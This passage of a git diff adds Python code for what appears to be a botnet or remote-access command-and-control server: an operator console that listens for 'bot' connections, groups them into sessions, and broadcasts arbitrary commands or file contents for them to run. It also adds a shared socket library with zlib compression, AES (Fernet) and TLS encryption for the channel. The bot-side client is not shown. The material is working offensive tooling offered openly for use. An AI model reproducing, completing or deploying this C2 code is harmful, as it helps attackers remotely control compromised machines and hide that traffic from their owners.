Console.write('NO HOSTS RUNNING', Console.WARNING) + + @staticmethod + def listen(args: Dict[str, str]) -> None: + hostname, port, password, salt, pubk, privk = Action.args(('hostname', str, DEFAULT_HOSTNAME), + ('port', int, DEFAULT_PORT), + ('password', str, None), + ('salt', str, None), + ('pubk', str, None), + ('privk', str, None), + **args) + + if password and salt: + options = {'symmetric': True, 'password': password, 'salt': salt} + elif pubk and privk: + options = {'symmetric': False, 'public_key': pubk, 'private_key': privk} + else: + options = {} + + host = Host(hostname, port, **options) + + if host.host.conn is None: + Console.write('HOST NOT STARTED', Console.DANGER) + else: + host_id = str(uuid.uuid4()) + hosts[host_id] = host + threading.Thread(target=host.listen, args=(host_id,), daemon=True).start() + Console.write(f'HOST STARTED :: {host.host}', Console.SUCCESS) + + @staticmethod + def who(args: Dict[str, str]) -> None: + id, = Action.args(('id', str, None), **args) + + assert id, f'Missing attribute: {id=}' + + who_conn = None + + for host_id, host in hosts.items(): + if host_id == id: + who_conn = host.host; break + else: + if id in host.bots: + who_conn = host.bots[id]; break + + if who_conn is None: + Console.write(f'NO MATCHING ID FOUND :: {id}', Console.WARNING) + else: + rows, headers = who_conn.detailed_address() + table = Console.table(rows, headers=headers) + Console.write(table, Console.NULL, end=Console.NULL) + + @staticmethod + def close(args: Dict[str, str]) -> None: + id, = Action.args(('id', str, None), **args) + + assert id, f'Missing attribute: {id=}' + + conn_ids = [id.strip() for id in id.split(',') if id] + + for host_id, host in hosts.copy().items(): + if host_id in conn_ids: + for bot_id, bot in host.bots.copy().items(): + Action._close_conn(bot_id, bot, host.bots) + else: + Action._close_conn(host_id, host.host, hosts); conn_ids.remove(host_id) + Console.write(f'HOST CLOSED :: {host_id}', Console.SUCCESS, end=Console.NULL) + else: + for bot_id, bot in host.bots.copy().items(): + if bot_id in conn_ids: + Action._close_conn(bot_id, bot, host.bots); conn_ids.remove(bot_id) + Console.write(f'BOT CLOSED :: {bot_id}', Console.SUCCESS, end=Console.NULL) + else: + for conn_id in conn_ids: + Console.write(f'NO MATCHING ID FOUND :: {conn_id}', Console.DANGER, end=Console.NULL) + else: + print() + + @staticmethod + def session(args: Dict[str, str]) -> None: + id, remove = Action.args(('id', str, None), ('remove', bool, None), **args) + + assert id, f'Missing attribute: {id=}' + + conn_ids = [id.strip() for id in id.split(',') if id] + + for host in hosts.values(): + for conn_id in conn_ids: + if conn_id in host.bots: + bot = host.bots[conn_id] + conn_ids.remove(conn_id) + + if bot.in_session: + if remove: + bot.in_session = False + Console.write(f'BOT REMOVED FROM SESSION :: {id}', Console.SUCCESS, end=Console.NULL) + else: + Console.write(f'BOT ALREADY IN SESSION :: {id}', Console.WARNING, end=Console.NULL) + else: + if remove: + Console.write(f'BOT NOT IN SESSION :: {id}', Console.WARNING, end=Console.NULL) + else: + bot.in_session = True + Console.write(f'BOT JOINED SESSION :: {id}', Console.SUCCESS, end=Console.NULL) + else: + for conn_id in conn_ids: + Console.write(f'BOT NOT FOUND :: {conn_id}', Console.DANGER, end=Console.NULL) + else: + print() + + @staticmethod + def _close_conn( + conn_id: str, + conn: Union[Socket, SymmetricSocket, AsymmetricSocket], + del_from: Dict[str, Union[Socket, SymmetricSocket, AsymmetricSocket]] + ) -> None: + conn.close() + + try: + del del_from[conn_id] + except KeyError: + pass +class Parse: + + COMMANDS = (('exit', Action.exit), + ('cls', Action.cls), + ('list', Action.list), + ('listen', Action.listen), + ('who', Action.who), + ('close', Action.close), + ('session', Action.session)) + + def input(self) -> None: + Console.write(Console.banner(), Console.NULL, color=Console.ANSI_YELLOW) + + while True: + try: + command, args = self._parse() + found_command = False + + for match, callback in self.COMMANDS: + if command == match: + callback(args) + found_command = True; break + + if not found_command: + run, filepath, history = Action.args(('run', bool, None), + ('filepath', str, None), + ('history', bool, None), + **args) + + assert isinstance(run, bool), f'Wrong type: {run=}' + assert isinstance(filepath, str) or filepath is None, f'Wrong type: {filepath=}' + assert isinstance(history, bool), f'Wrong type: {history=}' + + if filepath: + with open(filepath, + 'r', + encoding=DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS) as rf: + command = rf.read() + + for host in hosts.values(): + for bot_id, bot in host.bots.items(): + if bot.in_session: + try: + request = {'request': command, 'run': run} + + if history: + bot.send(request, self._send_callback) + response = bot.recv(self._recv_callback) + else: + bot.send(request) + response = bot.recv() + except Exception: + Action._close_conn(bot_id, bot, host.bots) + raise + else: + response_text = response.get('response') + + if response_text: + Console.write(response_text, Console.NULL) + else: + Console.write('Empty Response', Console.WARNING) + except Exception as err: + Console.write(f'[HOST] ERROR :: {err}', Console.NULL) + + def _parse(self) -> Tuple[str, Dict[str, str]]: + try: + command, *args = input('>>> ').split('--') + except (EOFError, KeyboardInterrupt): + sys.exit() + else: + return (command.strip(), dict(self._parse_args(args))) + + def _parse_args(self, args: Sequence) -> Generator[Tuple[str, str], None, None]: + for arg in args: + arg = arg.strip() + + if arg: + key, *value = arg.split(' ') + yield (key.rstrip(), ' '.join(value).lstrip()) + + @staticmethod + def _send_callback(header_size: str, body_size: str, message_size: str) -> None: + assert isinstance(header_size, str), f'Wrong type: {header_size=}' + assert isinstance(body_size, str), f'Wrong type: {body_size=}' + assert isinstance(message_size, str), f'Wrong type: {message_size=}' + + table = Console.table(((header_size, body_size, message_size),), + headers=('Header Size', 'Body Size', 'Message Size')) + Console.write(table, Console.NULL, end=Console.NULL) + + @staticmethod + def _recv_callback(history: Sequence) -> None: + assert isinstance(history, (list, tuple)), f'Wrong type: {history=}' + + table = Console.table(history, headers=('Buffer Size', + 'Received Data', + 'Message Size')) + Console.write(table, Console.NULL, end=Console.NULL) + +class Host: + + def __init__( + self, + *args, + symmetric: Optional[bool]=None, + timeout: Union[int, float]=120, + **kwargs + ) -> None: + assert isinstance(symmetric, bool) or symmetric is None, f'Wrong type: {symmetric=}' + assert isinstance(timeout, (int, float)), f'Wrong type: {timeout=}' + + self.symmetric = symmetric + self.timeout = timeout + self.args = args + self.kwargs = kwargs + self.bots = {} + + if self.symmetric is None: + self.host = Socket(*self.args, server_side=True, is_host=True) + self.host.set_conn() + self.host.set_context() + elif self.symmetric: + self.host = SymmetricSocket(*self.args, server_side=True, is_host=True, **self.kwargs) + self.host.set_conn() + self.host.set_context() + else: + self.host = AsymmetricSocket(*self.args, server_side=True, is_host=True, **self.kwargs) + self.host.set_conn() + self.host.set_context() + self.host.set_middleware() + + def listen(self, host_id: str) -> None: + try: + with self.host.conn as host_conn: + while True: + try: + bot_conn, (ip, port) = host_conn.accept() + except OSError: + continue + + bot_conn.settimeout(self.timeout) + + if self.symmetric is None: + bot_conn = Socket(ip, port, conn=bot_conn, server_side=True) + bot_conn.set_context() + bot_conn.set_middleware() + elif self.symmetric: + bot_conn = SymmetricSocket(ip, port, conn=bot_conn, server_side=True, **self.kwargs) + bot_conn.set_context() + bot_conn.set_middleware() + else: + bot_conn = AsymmetricSocket(ip, port, conn=bot_conn, server_side=True, **self.kwargs) + bot_conn.set_context() + + self.bots[str(uuid.uuid4())] = bot_conn + except Exception: + for bot_id, bot in self.bots.copy().items(): + Action._close_conn(bot_id, bot, self.bots) + else: + Action._close_conn(host_id, self.host.conn, hosts) + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--pubk_out') + parser.add_argument('--privk_out') + args = parser.parse_args() + + if args.pubk_out and args.privk_out: + proc = subprocess.run(('openssl', + 'req', + '-newkey', + 'rsa:2048', + '-nodes', + '-keyout', + args.privk_out, + '-x509', + '-days', + '36500', + '-out', + args.pubk_out, + '-batch'), + encoding=DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS, + stdin=subprocess.DEVNULL, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL) + + assert proc.returncode == 0, f'Wrong value: {proc.returncode=}' + else: + Parse().input() diff --git a/shared.py b/shared.py new file mode 100644 index 0000000..f19098a --- /dev/null +++ b/shared.py @@ -0,0 +1,410 @@ +import ipaddress +import platform +import base64 +import socket +import uuid +import zlib +import json +import ssl +import re + +from typing import Callable +from typing import Optional +from typing import Union +from typing import Tuple +from typing import Dict +from typing import Any + +DEFAULT_HOSTNAME = 'localhost' +DEFAULT_PORT = 38568 +DEFAULT_ENCODING = 'utf-8' +DEFAULT_LANGUAGE_CODE = 65001 +STRICT_ENCODING_ERRORS = 'strict' +LIBERAL_ENCODING_ERRORS = 'replace' + +class Platform: + + PLATFORM = platform.system() + WINDOWS = PLATFORM == 'Windows' + LINUX = PLATFORM == 'Linux' + MAC = PLATFORM == 'Mac' + UNIX = LINUX or MAC + +class ExtendedEncoder(json.JSONEncoder): + + def default(self, obj: Any) -> Any: + if isinstance(obj, bytes): + return base64.b64encode(obj).decode(DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS) + + return json.JSONEncoder.default(self, obj) + +class ExtendedDecoder(json.JSONDecoder): + + def default(self, obj: Any) -> Any: + if isinstance(obj, bytes): + return base64.b64decode(obj.encode(DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS)) + + return json.JSONDecoder.default(self, obj) + +class Bytes: + + LABELS = ('B', 'kB', 'MB', 'GB') + LAST_LABEL = LABELS[-1] + UNIT_STEP = 1024 + UNIT_STEP_THRESH = UNIT_STEP - 0.005 + + @staticmethod + def format(num: Union[int, float]) -> str: + assert isinstance(num, (int, float)), f'Wrong type: {num=}' + assert num >= 0, f'Wrong value: {num=}' + + for unit in Bytes.LABELS: + if num < Bytes.UNIT_STEP_THRESH: + break + + if unit != Bytes.LAST_LABEL: + num /= Bytes.UNIT_STEP + + return f'{num:.2f} {unit}' + +class Socket: + + def __init__( + self, + hostname: str, + port: int, + *, + conn: Optional[Union[socket.socket, ssl.SSLSocket]]=None, + server_side: bool=False, + is_host: bool=False + ) -> None: + assert isinstance(hostname, str), f'Wrong type: {hostname=}' + assert isinstance(port, int), f'Wrong type: {port=}' + assert port >= 1024 and port <= 65535, f'Wrong value: {port=}' + assert isinstance(conn, (socket.socket, ssl.SSLSocket)) or conn is None, f'Wrong type: {conn=}' + assert isinstance(server_side, bool), f'Wrong type: {server_side=}' + assert isinstance(is_host, bool), f'Wrong type: {is_host=}' + + dns_resolved_ip = socket.gethostbyname(hostname) + self.ip = ipaddress.ip_address(dns_resolved_ip) + self.port = port + self.conn = conn + self.server_side = server_side + self.is_host = is_host + + if self.server_side: + self.hostname = hostname if hostname != dns_resolved_ip else None + self.data_wrap = None + self.data_wrap_notes = None + + if self.is_host: + self.in_session = None + self.ENCODING = None + else: + self.in_session = False + else: + assert not self.is_host, f'Wrong value: {self.is_host=}' + + if not self.is_host: + UUID_REGEX = r'^[\da-f]{8}-([\da-f]{4}-){3}[\da-f]{12}$' + self.UUID_PATTERN = re.compile(UUID_REGEX, re.IGNORECASE) + self.ENCODING = DEFAULT_ENCODING + self.DEFAULT_BUFFER_SIZE = self.BUFFER_SIZE = 1024 + self.MAX_BUFFER_SIZE = 65536 + self.SEND_HEADER_SIZE = 10 + self.RECV_HEADER_SIZE = 46 + + self.header_send_callback = None + self.header_recv_callback = None + self.send_callback = None + self.recv_callback = None + self.uuid_token = None + + def __enter__(self) -> Union[socket.socket, ssl.SSLSocket]: + assert self.conn, f'Missing attribute: {self.conn=}' + return self.conn + + def __exit__(self, *_) -> None: + self.close() + + def __str__(self) -> str: + if self.server_side: + return f'tcp://{self.ip}:{self.port}' + else: + return super().__str__() + + def address(self) -> Tuple[str, ...]: + assert self.server_side, f'Wrong value: {self.server_side=}' + return (self.data_wrap, self.in_session, str(self), self.hostname, self.ENCODING, self.data_wrap_notes) + + def address_headers(self) -> Tuple[str, ...]: + assert self.server_side, f'Wrong value: {self.server_side=}' + return ('ID', 'Type', 'In Session', 'Address', 'Hostname', 'Encoding', 'Type Notes') + + def detailed_address(self) -> Tuple[Tuple[Tuple[str, Any], ...], Tuple[str, str]]: + assert self.server_side, f'Wrong value: {self.server_side=}' + return ((('Type', self.data_wrap), + ('In Session', self.in_session), + ('Address', str(self)), + ('Hostname', self.hostname), + ('Encoding', self.ENCODING), + ('Type Notes', self.data_wrap_notes), + ('Address Type', f'{self.ip.max_prefixlen}-bit IPv{self.ip.version}'), + ('Reverse Pointer', self.ip.reverse_pointer), + ('Global Address', self.ip.is_global), + ('Link Local Address', self.ip.is_link_local), + ('Loopback Address', self.ip.is_loopback), + ('Multicast Address', self.ip.is_multicast), + ('Private Address', self.ip.is_private), + ('Reserved Address', self.ip.is_reserved), + ('Unspecified Address', self.ip.is_unspecified)), + ('Key', 'Value')) + + def close(self) -> None: + assert self.conn, f'Missing attribute: {self.conn=}' + + try: + self.conn.shutdown(socket.SHUT_RDWR) + except Exception: + pass + finally: + self.conn.close() + + def set_conn(self, **kwargs) -> socket.socket: + if self.server_side: + assert self.is_host, f'Wrong value: {self.is_host=}' + + self.conn = socket.create_server((str(self.ip), self.port), **kwargs) + else: + self.conn = socket.create_connection((str(self.ip), self.port), **kwargs) + + def set_context(self) -> None: + assert self.server_side, f'Wrong value: {self.server_side=}' + + if self.is_host: + self.data_wrap = 'HOSTING :: COMP' + else: + self.data_wrap = 'CONNECTING :: COMP' + + def set_middleware(self) -> None: + assert not self.is_host, f'Wrong value: {self.is_host=}' + + self.send_callback = lambda body: zlib.compress(body) + self.recv_callback = lambda body: zlib.decompress(body) + + def send(self, obj: Dict[str, Any], callback: Callable[[str, str], None]=None) -> None: + assert not self.is_host, f'Wrong value: {self.is_host=}' + assert self.conn, f'Missing attribute: {self.conn=}' + assert isinstance(obj, dict), f'Wrong type: {obj=}' + assert callable(callback) or callback is None, f'Wrong type: {callback=}' + + body = json.dumps(obj, cls=ExtendedEncoder) + body = body.encode(self.ENCODING, errors=LIBERAL_ENCODING_ERRORS) + + if self.send_callback: + body = self.send_callback(body) + + if self.server_side: + self.uuid_token = str(uuid.uuid4()) + + body_size = len(body) + header = str(body_size).ljust(self.SEND_HEADER_SIZE) + header = (header + self.uuid_token).encode(DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS) + + if self.header_send_callback: + header = self.header_send_callback(header) + + if callback: + header_size = len(header) + callback(Bytes.format(header_size), + Bytes.format(body_size), + Bytes.format(header_size + body_size)) + + self.conn.sendall(header + body) + + def recv(self, callback: Callable[[str, str], None]=None) -> Dict[str, Any]: + assert not self.is_host, f'Wrong value: {self.is_host=}' + assert self.conn, f'Missing attribute: {self.conn=}' + assert callable(callback) or callback is None, f'Wrong type: {callback=}' + + position = 0 + + if callback: + history = [] + + if self.BUFFER_SIZE != self.DEFAULT_BUFFER_SIZE: + self.BUFFER_SIZE = self.DEFAULT_BUFFER_SIZE + + while True: + buffer = self.conn.recv(self.BUFFER_SIZE) + + assert buffer, f'Missing attribute: {buffer=}' + + buffer_size = len(buffer) + + if position > 0: + body[position:position + buffer_size] = buffer + position += buffer_size + else: + header = buffer[:self.RECV_HEADER_SIZE] + + if self.header_recv_callback: + header = self.header_recv_callback(header) + + assert isinstance(header, bytes), f'Wrong type: {header=}' + + header = header.decode(DEFAULT_ENCODING, errors=STRICT_ENCODING_ERRORS) + uuid_token = header[self.SEND_HEADER_SIZE:self.RECV_HEADER_SIZE] + + assert self.UUID_PATTERN.match(uuid_token), f'Wrong value: {uuid_token=}' + + if self.server_side: + assert uuid_token == self.uuid_token, f'Wrong value: {uuid_token} != {self.uuid_token}' + else: + self.uuid_token = uuid_token + + body_size = int(header[:self.SEND_HEADER_SIZE]) + + if body_size >= self.MAX_BUFFER_SIZE: + self.BUFFER_SIZE = self.MAX_BUFFER_SIZE + + if callback: + bytes_to_recieve = Bytes.format(body_size + self.RECV_HEADER_SIZE) + + body_buffer_size = buffer_size - self.RECV_HEADER_SIZE + body = bytearray(body_size) + body[:buffer_size] = buffer[self.RECV_HEADER_SIZE:] + position += body_buffer_size + + assert position <= body_size, f'Wrong value: {position} > {body_size}' + + if callback: + history.append((Bytes.format(buffer_size), + Bytes.format(position + self.RECV_HEADER_SIZE), + bytes_to_recieve)) + + if position == body_size: + body = bytes(body) + + if self.recv_callback: + body = self.recv_callback(body) + + assert isinstance(body, bytes), f'Wrong type: {body=}' + + body = body.decode(self.ENCODING, errors=LIBERAL_ENCODING_ERRORS) + body = json.loads(body, cls=ExtendedDecoder) + + assert isinstance(body, dict), f'Wrong type: {body=}' + + if callback: + callback(history) + + return body + +class SymmetricSocket(Socket): + + def __init__( + self, + *args, + password: str=None, + salt: str=None, + **kwargs + ) -> None: + super().__init__(*args, **kwargs) + + assert isinstance(password, str) or password is None, f'Wrong type: {password=}' + assert isinstance(salt, str) or salt is None, f'Wrong type: {salt=}' + + self.password = password + self.salt = salt + + def set_context(self) -> None: + assert self.server_side, f'Wrong value: {self.server_side=}' + + if self.is_host: + self.data_wrap = 'HOSTING :: AES' + self.data_wrap_notes = f'{self.password} :: {self.salt}' + else: + self.data_wrap = 'CONNECTING :: AES' + self.data_wrap_notes = 'AES_128_CBC_PKCS7_HMAC_SHA256' + + def set_middleware(self) -> None: + assert not self.is_host, f'Wrong value: {self.is_host=}' + assert self.password, f'Missing attribute: {self.password=}' + assert self.salt, f'Missing attribute: {self.salt=}' + + from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives import hashes + from cryptography.fernet import Fernet + + secret = PBKDF2HMAC(algorithm=hashes.SHA256(), + length=32, + salt=self.salt.encode(DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS), + iterations=320000, + backend=default_backend()) + secret = secret.derive(self.password.encode(DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS)) + secret = Fernet(base64.urlsafe_b64encode(secret)) + + recv_header_size = ''.ljust(self.RECV_HEADER_SIZE) + recv_header_size = recv_header_size.encode(DEFAULT_ENCODING, + errors=STRICT_ENCODING_ERRORS) + self.RECV_HEADER_SIZE = len(secret.encrypt(recv_header_size)) + self.header_send_callback = lambda header: secret.encrypt(header) + self.header_recv_callback = lambda header: secret.decrypt(header) + self.send_callback = lambda body: secret.encrypt(zlib.compress(body)) + self.recv_callback = lambda body: zlib.decompress(secret.decrypt(body)) + +class AsymmetricSocket(Socket): + + def __init__( + self, + *args, + public_key: str=None, + private_key: str=None, + public_key_data: str=None, + **kwargs + ) -> None: + super().__init__(*args, **kwargs) + + assert isinstance(public_key, str) or public_key is None, f'Wrong type: {public_key=}' + assert isinstance(private_key, str) or private_key is None, f'Wrong type: {private_key=}' + assert isinstance(public_key_data, str) or public_key_data is None, f'Wrong type: {public_key_data=}' + + self.public_key = public_key + self.private_key = private_key + self.public_key_data = public_key_data + + def set_context(self) -> None: + assert self.server_side, f'Wrong value: {self.server_side=}' + + if self.is_host: + self.data_wrap = 'HOSTING :: TLS' + self.data_wrap_notes = f'{self.public_key} :: {self.private_key}' + else: + self.data_wrap = 'CONNECTING :: TLS' + cipher = self.conn.cipher() + + if cipher: + self.data_wrap_notes = ' :: '.join(cipher[:2]) + + def set_middleware(self) -> None: + if self.server_side: + assert self.is_host, f'Wrong value: {self.is_host=}' + assert self.public_key, f'Missing attribute: {self.public_key=}' + assert self.private_key, f'Missing attribute: {self.private_key=}' + + context = ssl.SSLContext(ssl.PROTOCOL_TLS) + context.load_cert_chain(self.public_key, self.private_key) + self.conn = context.wrap_socket(self.conn, server_side=True) + else: + assert self.public_key_data, f'Missing attribute: {self.public_key_data=}' + + context = ssl.SSLContext(ssl.PROTOCOL_TLS) + context.load_verify_locations(cadata=self.public_key_data) + self.conn = context.wrap_socket(self.conn) |